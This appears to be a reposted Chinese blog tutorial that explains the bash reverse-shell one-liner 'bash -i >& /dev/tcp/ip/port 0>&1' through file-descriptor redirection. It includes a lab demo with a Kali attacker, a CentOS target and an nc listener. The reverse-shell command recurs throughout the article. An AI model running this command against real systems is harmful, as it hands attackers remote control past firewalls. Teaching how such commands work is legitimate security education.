1.簡介 本文結(jié)合一些參考文章以及作者個人理解解釋Linux的bash反彈命令中的 &>、0>&1 觀點(diǎn)有誤,歡迎指出! 目標(biāo)討論命令:bash -i >& /dev/tcp/ip/port 0>&1 2.基本知識 1. bash bash是什
本文結(jié)合一些參考文章以及作者個人理解解釋Linux的bash反彈命令中的 &>、0>&1
觀點(diǎn)有誤,歡迎指出!
目標(biāo)討論命令:bash -i >& /dev/tcp/ip/port 0>&1
bash是什么? 是一種shell。 shell是什么?
此處引用
https://blog.csdn.net/weixin_42432281/article/details/88392219
Shell:一般我們是用圖形界面和命令去控制計算機(jī),真正能夠控制計算機(jī)硬件(CPU、內(nèi)存、顯示器等)的只有操作系統(tǒng)內(nèi)核(Kernel),由于安全、復(fù)雜、繁瑣等原因,用戶不能直接接觸內(nèi)核,需要另外再開發(fā)一個程序,讓用戶直接使用這個程序;該程序的作用就是接收用戶的操作(點(diǎn)擊圖標(biāo)、輸入命令),并進(jìn)行簡單的處理,然后再傳遞給內(nèi)核,內(nèi)核和用戶之間就多了一層“中間代理”,Shell 其實(shí)就是一種腳本語言,也是一個可以用來連接內(nèi)核和用戶的軟件,我們編寫完源碼后不用編譯,直接運(yùn)行源碼即可。
常用的Shell:bash由 GNU 組織開發(fā),sh 是 UNIX 上的標(biāo)準(zhǔn) shell,是第一個流行的 Shell,bash保持了對 sh shell 的兼容性,是各種 Linux 發(fā)行版默認(rèn)配置的 shell,F(xiàn)在sh 已經(jīng)基本被 bash 代替,bash是sh的擴(kuò)展補(bǔ)充,但是也有些是不兼容的,大多數(shù)情況下區(qū)別不大,特殊場景可以使用 bash 代替 sh。
通俗點(diǎn)講,shell設(shè)計好的一個程序,用戶可以用他內(nèi)置的命令去執(zhí)行如今需要用鼠標(biāo)等設(shè)備進(jìn)行的操作(如:創(chuàng)建文件、解壓縮包)等,最早期電腦沒有顯示屏,及沒有可視化頁面,一切操作全靠命令。隨著用戶化開發(fā)而有了如今的可視化操作。理解了這也就了解了bash簡單來講就是一個執(zhí)行命令操作的窗口
冷知識:Linux在shell窗口輸入echo $0可以查看當(dāng)前shell是什么
在安全滲透中我們在攻擊目標(biāo)終端時可能會遇阻礙問題導(dǎo)致無法對目標(biāo)終端控制,比如防火墻、ip變更連接不穩(wěn)定
這里就防火墻討論,防火墻策略除特別配置基本都是——進(jìn)嚴(yán)出松,什么意思呢?
通俗來講:防火墻是我買來的保鏢,我的保鏢保護(hù)我——讓別人不能主動跟我說話。但我要主動去跟別人說話,保鏢就不會攔著(前提:我沒有主動給保鏢設(shè)置我和什么特征的人說話他會攔著我)。
我主動跟別人說話這個過程(以我的視角)——這叫
正向連接
(我連接別人)
別人主動跟我說話這個過程(以我的視角)——這叫
反向連接
(別人連接我)
但通常我們以攻擊者視角,即我主動連接別人的終端電腦,這是正向連接
別人的終端電腦連接我,這是反向連接
所以“反彈shell”就是,
被攻擊的終端電腦主動把shell交給我
,這樣不會被防火墻攔截。
(我要主動讓你把你的手機(jī)“解鎖了”給我,你也不會給我吧~)
這也間接說明反彈shell的基礎(chǔ)是在,我至少是擁有一部分目標(biāo)主機(jī)的權(quán)限(我能碰到你解了鎖的手機(jī)),才能讓目標(biāo)主機(jī)主動把shell給我
文件描述符是什么?
這篇文章我覺得寫的很清楚
https://zhuanlan.zhihu.com/p/364617329
意思是一個進(jìn)程需要操作到的文件會在內(nèi)核中構(gòu)成一個數(shù)組,數(shù)組值代表對應(yīng)的文件,而文件描述符即文件的數(shù)組下標(biāo)(這也是為什么會從0開始),而規(guī)定從操作系統(tǒng)啟動開始,有下面三個固定序號
0 表示標(biāo)準(zhǔn)輸入(stdin)
1 表示標(biāo)準(zhǔn)輸出(stdout)
2 表示標(biāo)準(zhǔn)錯誤(stderr)
即0永遠(yuǎn)代表標(biāo)準(zhǔn)輸入文件的下標(biāo),1永遠(yuǎn)代表標(biāo)準(zhǔn)輸出文件的下標(biāo),2永遠(yuǎn)代表標(biāo)準(zhǔn)錯誤文件的下標(biāo)
這類似于編程中的指針,有數(shù)據(jù)結(jié)構(gòu)基礎(chǔ)可能好理解些
總結(jié)就是:
所以常用就這三個并且數(shù)字固定不變———— 輸入、結(jié)果輸出、報錯輸出 (對應(yīng)0,1,2)
舉個例子:
在 shell 中,我輸入 whoami ,緊接著返回了 smile
那么我們可以想象,whoami和smile以及smiel@localhost等這些人類可讀文字都是
數(shù)據(jù)
,這個shell的"
可視化頁面
"也就是后面
黑色的熒幕
就是瓶子,這個命令過程(進(jìn)程)就是一個流水線,流水線上有很多管道通向內(nèi)核但我們看不見。
而我們只能看到進(jìn)入了瓶子的水(即
把數(shù)據(jù)打印在黑色的熒幕上
),至于水在管道里被shell的其他部件怎么控制去內(nèi)核、發(fā)生什么我們不知道也不關(guān)心
(知識點(diǎn)1:可視化頁面只是整個shell程序的一小部分)
參考下面示例圖
根據(jù)在shell窗口里一條命令顯示的位置關(guān)系我暫時把以下命名
注意。!這是三塊不同區(qū)域(著重記住桶和下瓶子)
shell里默認(rèn):
編號
0
指向
鍵盤
(桶),是用于取水的地點(diǎn)
編號
1
指向
無$區(qū)域
(下瓶子),用于把水從管道導(dǎo)出的地點(diǎn)
編號
2
同樣指向
無$區(qū)域
(下瓶子),因?yàn)殄e誤信息本質(zhì)也是輸出
(注意和1區(qū)分,1是成功后的結(jié)果信息,2是報錯信息)
可以看圖,“ cat...沒有那個文件... ”這部分是報錯信息,因?yàn)閯倓傉f的2默認(rèn)指向和1相同的區(qū)域,所以我們看見他在剛剛編號1的下瓶子區(qū)域顯示出來
(知識點(diǎn)2:說明同一個區(qū)域(比如下瓶子)可以被多個描述符(編號)指向)
而所謂在進(jìn)程里的那張記錄0,1,2的表,可以理解為管理 本次進(jìn)程 (流水線)的管理員手里拿著個名冊,記錄本次進(jìn)程任務(wù) 需要哪些區(qū)域 (水的容器)
理解了此處,對于后面辨認(rèn)重定向關(guān)系就簡單多了
此時我們思考一個問題:一條命令執(zhí)行前信息的讀取和執(zhí)行完成后結(jié)果顯示在哪關(guān)鍵在于那張記錄0.1.2是指哪個瓶子的表。如果我們能改變那張的表格。比如我們把 錯誤信息 放在 無$區(qū)域 (下瓶子),把 成功的結(jié) 果放在 1.txt 中,并且同時執(zhí)行一條正確命令和一條錯誤命令,那是不是就能在兩邊 分別得到不同信息 呢。
百度百科對Linux重定向的解釋
Linux重定向是指修改原來默認(rèn)的一些東西,對原來系統(tǒng)命令的默認(rèn)執(zhí)行方式進(jìn)行改變,比如說簡單的我不想看到在顯示器的輸出而是希望輸出到某一文件中就可以通過Linux重定向來進(jìn)行這項(xiàng)工作。
首先認(rèn)識幾個符號
現(xiàn)在我們有改表的方法了,這三個符號就是我們的工具,比如說剛剛編號1指向下瓶子,我現(xiàn)在要換成盆(1.txt假設(shè)是盆),那么編號1就要指向盆的名字
這個箭頭方向不要管。!
理解為
“修改為”
的意思,我們只需要從左到右讀,比如輸出重定向,以這個
1.txt
為例。
意作
whoami這條命令進(jìn)程中-標(biāo)準(zhǔn)輸出1的目標(biāo)
-
修改為
-
1.txt
正規(guī)寫法是 whoami 1>1.txt
思考:
實(shí)驗(yàn)驗(yàn)證:
可以看到結(jié)果正如我們所設(shè)想,下瓶子區(qū)域沒有任何東西,使用
cat
命令查看
1.txt(盆)
中,是有剛剛相同的信息的
并且可以看出平常我們是省略了重定向符號功能所對應(yīng)的文件描述符號的( 即數(shù)字1 ),此處不加文件描述符我們把結(jié)果寫入 2.txt 結(jié)果也是和 1.txt 一樣效果
還記得剛剛那個問題,我們同時輸入一條正確和一條錯誤的命令,如下:
我們使用 && 符號可以同時運(yùn)行兩條命令———— && 這個符號認(rèn)識吧,并且的意思,前面正確后后面才進(jìn)行判斷
如下執(zhí)行命令后:
可以看到我們同時有一個正確輸出和一個錯誤輸出,并且都在
沒$符號的區(qū)域
,即下瓶子區(qū)域
所以現(xiàn)在我們進(jìn)行實(shí)驗(yàn)去驗(yàn)證剛剛的想法,把錯誤信息留在這,把成功結(jié)果為了區(qū)分放在2.txt吧.我們只需要把1指向修改為2.txt,2默認(rèn)指向這所以不用修改
這里先做一個錯誤演示
可以看到 hack.jpg 仍然在這,這是因?yàn)閯倓傉f了&&符號的邏輯是前面正確了才執(zhí)行后面,所以這里
ls
執(zhí)行完畢了,才執(zhí)行后面部分,1>2.txt
不屬于ls
命令,它屬于cat 1.txt
,但cat 1.txt
是錯誤輸出2,所以1>2.txt
等于沒有任何效果。
所以我們要改一下寫法
可以很清楚看到,原本一起顯示的 hack.jpg 沒有了,而我們查看2.txt(盆)里是有這個信息的。
再次提醒:2.txt里是另外一個區(qū)域,cat命令只是又把他從2.txt(盆)里提取出來,放在了無$區(qū)域(下瓶子)里,讓我們看見了
至于0的輸入,同樣是一個代號,它默認(rèn)指向的是
有$的區(qū)域(上瓶子)
,我們同樣可以用重定向符號修改
那我們的命令不用鍵盤輸入,用什么輸入呢?
答案是:文本
其實(shí)我們用的最多的文本讀取命令
cat
就是輸入重定向
繼續(xù)實(shí)驗(yàn)
我們在 1.txt 中寫入 Hello World
如果我們要查看內(nèi)容就要用到cat 1.txt
命令
但我們單獨(dú)看cat 1.txt
這個命令本身,我們并沒有輸入 Hello World , 1.txt 代替了 鍵盤 ,里面的內(nèi)容代替了鍵盤輸入的內(nèi)容打印在了我們的屏幕上
到這里,你應(yīng)該已經(jīng)很清楚了解了描述符0,1,2以及簡單改變其中一個描述符的指向了
&本身是邏輯運(yùn)算and的意思
在之前描述符的介紹中我們也發(fā)現(xiàn)了,標(biāo)準(zhǔn)輸出1和錯誤輸出2,他本質(zhì)都是輸出,所以我們給他內(nèi)置了對描述符操作時
&
等于
1&2
注意:此符號使用時就不需要管符號在>的哪邊了
&>
等于
>&
所以
whoami 1>1.txt 2>1.txt
等于
whoami 1&2>1.txt
也等于
whoami &>1.txt
還等于
whoami >& 1.txt
現(xiàn)在我要做一個騷操作,什么呢?
假設(shè)我要存放的文件名很長很復(fù)雜,比如叫123qweiop345qwe.txt
我現(xiàn)在把標(biāo)準(zhǔn)輸出1和錯誤輸出2都放在這里面,那命令是不是應(yīng)該這么寫
ls 1>23qwe678iop345qwe.txt 2>23qwe678iop345qwe.txt
我天,太長了,我累了。!
所以我要簡寫,怎么簡寫呢?我們可以看到
描述符1
指向文本文件
23qwe678iop345qwe.txt
,在流水線管理員那寫的是
1 ————> 23qwe678iop345qwe.txt
2 ————> 23qwe678iop345qwe.txt
我現(xiàn)在嫌他長,我寫成
1 ————> 23qwe678iop345qwe.txt
2 ————> &1
這個意思是
錯誤輸出2
指向的是
標(biāo)準(zhǔn)輸出1
所指向的地方,即
23qwe678iop345qwe.txt
這里的&符號作為區(qū)分1是
文件名
還是
文件描述符
,如果我們少了
&
,那么2指向的是
1.txt
具體寫法為
2>&1
結(jié)論:所以0>&1其實(shí)也就是輸入描述符指向的是輸出描述符指的地方
知識點(diǎn)3:文件描述符可以互相間接指向
所以我們得到兩種&符號的用法
這時可能有可愛的小朋友會問了:師傅師傅,我要這樣寫呢
&>&0
emmmmmmmmm...
你留下來單獨(dú)補(bǔ)課。!
答案是:不可以,這倆符號只能用一次,會報錯無法識別命令
這個不需要過多解釋,這不是我們的重點(diǎn),因?yàn)長inux萬物皆文件。
以剛剛流水線很好理解,可以把這個東西理解為這又是一根管道,這根管子它不屬于shell了,是shell外的一根管子,即流水線設(shè)備外的一根管子。
管道一端是
本地主機(jī)
(整個工廠),另一端是輸入的
遠(yuǎn)程IP主機(jī)
(其它工廠),管子只關(guān)心是否成功連接以及
哪端數(shù)據(jù)口有數(shù)據(jù)就傳輸?shù)綄γ嫒?
,至于兩端具體是什么樣(是瓶子、是盆)管道不關(guān)心
所以為什么遠(yuǎn)程段會用nc監(jiān)聽,nc可以把傳過去的數(shù)據(jù)處理后顯示在對方shell頁面上(nc提示監(jiān)聽成功那個區(qū)域也是一個瓶子,用來顯示數(shù)據(jù)),如果有其它方法接收我們的tcp連接的數(shù)據(jù),那也可以。反正兩端互相不知道對方干了啥,也不關(guān)心
在此之前我們回收三條結(jié)論:
首先這是我們的命令:
bash -i >& /dev/tcp/ip/port 0>&1
這條命令的邏輯可以拆開看,因?yàn)槊钍菑淖蟮接易x取
bash -i >& /dev/tcp/ip/port
這是什么意思呢
而整個bash -i是一個程序,和我們輸入這條命令的這個shell頁面是一樣的東西
(注意:這是新創(chuàng)建一個子shell了)
關(guān)于子shell與父shell這里暫時不解釋
我們以最簡單的命令討論,一次命令就是 一個進(jìn)程 ,他有一個 輸入提取區(qū)域 、一個 輸出存放區(qū)域
bash -i >& /dev/tcp/ip/port
意為把
bash程序
里輸出的所有水(標(biāo)準(zhǔn)輸出和錯誤輸出)倒進(jìn)
/dev/tcp/ip/port
這個瓶子里,而剛剛解釋了/dev/tcp/ip/port是一根管子,他不能儲存,所以他就流到另一端去了,即
遠(yuǎn)程監(jiān)聽的設(shè)備
。于是,我們在遠(yuǎn)程主機(jī)監(jiān)聽就能監(jiān)聽到這個bash程序輸出的信息
注意:shell的本體任然在本地主機(jī)上,只是我們把流出來的數(shù)據(jù)導(dǎo)入了TCP那根管子
并且如果我們實(shí)驗(yàn)會發(fā)現(xiàn)一件有趣的事~
攻擊端:Kali
靶機(jī):CentOS
本來目的:用kali控制CentOS
首先我們的
Kali
監(jiān)聽9999端口
然后我們的
CentOS
輸入命令,把bash的描述符1,2,即兩種輸出發(fā)給
Kali
回車鍵后,可以看到我們的光標(biāo)已經(jīng)到下面去了
而Kali
似乎
也進(jìn)入了
CentOS
的bash
但是。! 有趣的來了
我們在
Kali
上輸入命令
ls
,回車鍵后光標(biāo)已經(jīng)下去,但是~ 我們發(fā)現(xiàn)沒有任何反應(yīng)
接著我們在CentOS上輸入
ls
命令
最有趣的事來了 我現(xiàn)在其實(shí)已經(jīng)在鍵盤上輸入了
ls
并且回車鍵,但是可以看到
CentOS
上什么反應(yīng)都沒有,甚至連輸入的東西都沒有
但我們?nèi)タ碖ali那邊,居然!。∷@示了ls的執(zhí)行結(jié)果出來
事實(shí)證明我們在CentOS輸入的命令是執(zhí)行了的,但為什么看不到呢?
這就要說到那個顯示的
ls
即剛剛稱呼的
上瓶子區(qū)域
的信息是怎么出現(xiàn)的了。
這里我們直接說結(jié)論,相關(guān)討論我們在文章結(jié)尾討論,因?yàn)檫@不是我們的重點(diǎn)
ls
實(shí)際上是把
本地(CentOS)鍵盤
的輸入的信息復(fù)制在上面了,其目的是為了防止用戶輸入命令時輸入錯誤,其本質(zhì)也是輸出的信息,所以順著描述符1指向的地方出去,所以跑到了
遠(yuǎn)程Kali
的頁面上去了
那我們我們以及知道了我們的輸入描述符0在這個語句中是沒有改變指向的,仍然是默認(rèn)的 本地(CentOS)鍵盤 ,而輸出描述符1指向了TCP的管道
所以整個流程是這樣:
本地鍵盤輸入信息——>shell根據(jù)描述符0指向,從鍵盤讀取鍵盤輸入的信息——>進(jìn)行內(nèi)核交互后得到執(zhí)行結(jié)果——>結(jié)果返回shell的未知部件——>shell根據(jù)描述符1指向,把結(jié)果數(shù)據(jù)丟到TCP管道里(包含執(zhí)行結(jié)果和第二步讀取鍵盤信息時復(fù)制的上瓶子區(qū)域的信息)——>輸出信息經(jīng)過TCP管道流到遠(yuǎn)程Kali——>kali的nc把顯示數(shù)據(jù)正確顯示到屏幕上
所以剛剛具體發(fā)生了示例圖就變成了
我們重新梳理一下:
但其實(shí)鍵盤輸入的復(fù)制是可以顯示的,這個不是重點(diǎn),我們在文章結(jié)尾討論
清楚了前半部分,后半部分其實(shí)很好理解了,無非多加了一個指向
注意。!
要明確的是我們的描述符1指的是
tcp連接
,即
這根管子
那么0>&1是什么意思呢
首先我們前半段的表寫的是啥
0 ———— > 本地鍵盤
1 ———— > TCP管道
2 ———— > TCP管道
這就很好理解了,我們剛剛的
結(jié)論3:描述符可以間接指向
那
0>&1
的意思就是:描述符0指向描述符1指向的區(qū)域
所以表格變成如下
0 ———— > TCP管道
1 ———— > TCP管道
2 ———— > TCP管道
含義就是shell的輸入來自tcp管道
OK本文結(jié)束了...
開玩笑~
之前我們說了TCP那根管道他只管傳輸數(shù)據(jù),現(xiàn)在0指向了tcp管道,就變成我們原來從本地鍵盤接收數(shù)據(jù),現(xiàn)在變成從TCP管道接收數(shù)據(jù)。管道里的數(shù)據(jù)從哪來呢?我們不關(guān)心,我們只管認(rèn)準(zhǔn)是TCP管道出來的數(shù)據(jù)就行了
那管子另一端是什么呢,是我們的遠(yuǎn)程主機(jī)的shell,更準(zhǔn)確的是shell上的nc。
所以解釋一下整個流程發(fā)生了什么:
剛剛的示例圖就變成
思考:我們剛剛交互式那個問題,我們即使沒有傳過去可視化頁面的內(nèi)容,即本地的描述符1沒有指向TCP管道,但0指向了TCP管道,那遠(yuǎn)程主機(jī)把鍵盤輸入的東西傳到TCP管道里,仍然可以變成了這個shell的命令輸入,然后執(zhí)行命令,最后把結(jié)果打印在本地主機(jī)上
答案是:當(dāng)然可以
這里
Kali
開啟監(jiān)聽
然后
CentOS
只把0指向TCP管道,可以看到光標(biāo)在下面,執(zhí)行成功
這時我們看kali是監(jiān)聽到TCP連接的并且沒有shell頁面,所以是原本的
全黑頁面
但我們執(zhí)行
ls
命令,回車鍵后光標(biāo)已經(jīng)在下面
我們再去看
CentOS
,可以看到他自己顯示了結(jié)果。所以我們的結(jié)論是正確的
彩蛋:可以看到這里鍵盤輸入的復(fù)制是顯示在了 Kali 上,但我們說我們并沒有把輸出信息傳輸給Kali啊
這個回顯鍵盤輸入功能其實(shí)只在交互式起作用
具體什么是交互式頁面呢,引用 交互式頁面
交互式模式就是在終端上執(zhí)行,shell等待你的輸入,并且立即執(zhí)行你提交的命令。這種模式被稱作交互式是因?yàn)閟hell與用戶進(jìn)行交互。這種模式也是大多數(shù)用戶非常熟悉的:登錄、執(zhí)行一些命令、退出。當(dāng)你退出后,shell也終止了。
shell也可以運(yùn)行在另外一種模式:非交互式模式,以shell script(非交互)方式執(zhí)行。在這種模式 下,shell不與你進(jìn)行交互,而是讀取存放在文件中的命令,并且執(zhí)行它們。當(dāng)它讀到文件的結(jié)尾EOF,shell也就終止了。
看不懂? 沒關(guān)系~
反之咋就了解,交互式就是要等待用戶輸入命令,既然要輸入,為了避免用戶輸錯,shell就設(shè)計把我們輸入的命令復(fù)制作為數(shù)據(jù)然后根據(jù)1原本默認(rèn)指向shell的可視化頁面,而我們把這部分輸出指向tcp了,那回顯的數(shù)據(jù)我們自然看不見
但如果我們用非交互式,他是從文件讀取命令,這個子shell的功能就消失了。
我們可以在我們本來的父shell里輸入命令,并且我們的shell本身也是交互式的,所以有回顯。
但我們的TCP管道沒有關(guān),我們在父shell里輸入被丟進(jìn)了管道里,所以就能看見回顯去輸入命令了
這里反彈時直接去掉-i參數(shù),然后我在
CentOS
輸入了
pwd
可以看見
pwd
顯示出來了
而Kali仍然能把執(zhí)行結(jié)果顯示
https://blog.csdn.net/weixin_42432281/article/details/88392219
https://zhuanlan.zhihu.com/p/364617329
https://blog.csdn.net/gui951753/article/details/79154496
機(jī)器學(xué)習(xí):神經(jīng)網(wǎng)絡(luò)構(gòu)建(下)
閱讀華為Mate品牌盛典:HarmonyOS NEXT加持下游戲性能得到充分釋放
閱讀實(shí)現(xiàn)對象集合與DataTable的相互轉(zhuǎn)換
閱讀鴻蒙NEXT元服務(wù):論如何免費(fèi)快速上架作品
閱讀算法與數(shù)據(jù)結(jié)構(gòu) 1 - 模擬
閱讀5. Spring Cloud OpenFeign 聲明式 WebService 客戶端的超詳細(xì)使用
閱讀Java代理模式:靜態(tài)代理和動態(tài)代理的對比分析
閱讀Win11筆記本“自動管理應(yīng)用的顏色”顯示規(guī)則
閱讀本站所有軟件,都由網(wǎng)友上傳,如有侵犯你的版權(quán),請發(fā)郵件[email protected]
湘ICP備2022002427號-10 湘公網(wǎng)安備:43070202000427號© 2013~2025 haote.com 好特網(wǎng)